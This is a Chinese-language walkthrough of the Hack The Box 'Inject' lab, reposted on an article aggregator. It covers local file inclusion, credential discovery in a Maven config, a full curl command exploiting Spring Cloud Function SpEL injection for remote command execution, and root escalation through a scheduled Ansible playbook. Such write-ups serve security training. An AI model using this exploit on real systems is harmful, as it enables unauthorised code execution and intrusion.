当前位置: 首页 > news >正文

HTB-Inject

在这里插入图片描述

HTB-Inject

  • 信息收集
  • 开机
  • root

信息收集

在这里插入图片描述

  • 22
  • 8080

8080端口如下。
在这里插入图片描述
主界面有一个上传图片的功能。

在这里插入图片描述

简单测试后发现对上传文件后缀名应该有过滤,只允许jpg后缀名文件上传。将一个内容为”test“的txt文件修改后缀为jpg后上传会出现错误。
在这里插入图片描述
在这里插入图片描述
验证一下是否存在LFI。

在这里插入图片描述
验证一下是否存在RFI,经过验证应该不存在RFI。
在这里插入图片描述

在maven的配置文件…/…/…/pom.xml里收集到一些项目和项目版本。

  • spring-boot-starter-parent 2.6.5
  • javax.activation 1.2.0
  • spring-cloud-function-web 3.2.2
  • bootstrap 5.1.3
  • spring-boot-starter-thymeleaf
  • spring-boot-starter-web

另外在frank目录下的.m2文件里面找到了phil的账号密码。
在这里插入图片描述

去看看用户目录里面是否有.ssh文件,虽然phil和frank目录下都有.ssh文件,但是应该是其他玩家留下的,ssh无法登录。
在这里插入图片描述

还记得上面收集的maven的项目文件内容么,一个一个去搜索看看是不是漏洞版本。

在这里插入图片描述

在这里插入图片描述

curl -i -s -k -X $‘POST’ -H $‘Host: 192.168.1.2:8080’ -H $‘spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(“touch /tmp/test”)’ --data-binary $‘exploit_poc’ $‘http://192.168.1.2:8080/functionRouter’

注意exec执行的命令touch /tmp/test,记得去tmp看看有没有。
在这里插入图片描述
生成了mmiku文件。
在这里插入图片描述
准备脚本。
在这里插入图片描述

上传脚本。
在这里插入图片描述

开机

在这里插入图片描述

在这里插入图片描述
在/opt/发现了一些有趣的东西,一个yml的文件,初步怀疑有时间任务。
在这里插入图片描述

pspy验证了此想法。

在这里插入图片描述

root

接下来就是要弄一个ansible playbook代码来执行shell命令。
在官网看到这个模块ansible.builtin.command在这里插入图片描述

照着已有的yml文件修改一下即可。
在这里插入图片描述

在这里插入图片描述

http://www.lryc.cn/news/44908.html

相关文章:

  • java基础知识——13.类与对象
  • 北邮22信通:(10)第三章 3.2栈的实现
  • Vue3之使用js实现动画
  • 金三银四,你准备好面试了吗? (附30w字软件测试面试题总结)
  • 【C语言学习】数组
  • ElasticSearch序列 - SpringBoot整合ES:根据指定的 ids 查询
  • Spark SQL实战(08)-整合Hive
  • 堆(数据结构系列11)
  • 算法训练第四十二天|01背包问题 二维 、01背包问题 一维、416. 分割等和子集
  • Java-如何使用Java将图片和文字拼接在一起(并非是给图片加水印)
  • Metasploit入门到高级【第三章】
  • 枚举的使用
  • Python进阶语法
  • Pyspark_结构化流4
  • Linux cmp 命令
  • Python入门到高级【第五章】
  • C语言中(i++)+ (i++)真的每次都等于3吗?
  • Cursor,程序员的 AI 代码编辑助手
  • 基于XML的自动装配~
  • 完全二叉树的4种遍历方式
  • 【vue2】使用elementUI进行表单验证实操(附源码)
  • JUC之阻塞队列解读(BlockingQueue)
  • LCHub:ChatGPT4和低代码来临,程序员面临下岗?
  • 【Node.js】Express框架的基本使用
  • 使用docker 和 kubnernetes 部署单节点/多节点 kafka 环境
  • Linux使用:环境变量指南和CPU和GPU利用情况查看
  • 深入浅出 SSL/CA 证书及其相关证书文件(pem、crt、cer、key、csr)
  • Compose(1/N) - 概念 基本使用
  • 2023高质量Java面试题集锦:高级Java工程师面试八股汇总
  • MySQL多表查询 子查询效率(DQL语句)